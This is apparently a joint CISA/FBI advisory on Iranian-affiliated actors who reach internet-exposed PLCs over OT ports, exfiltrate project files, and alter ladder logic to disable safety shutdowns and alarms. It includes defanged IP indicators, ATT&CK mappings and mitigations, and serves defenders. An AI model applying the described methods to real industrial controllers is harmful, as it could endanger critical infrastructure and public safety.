<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
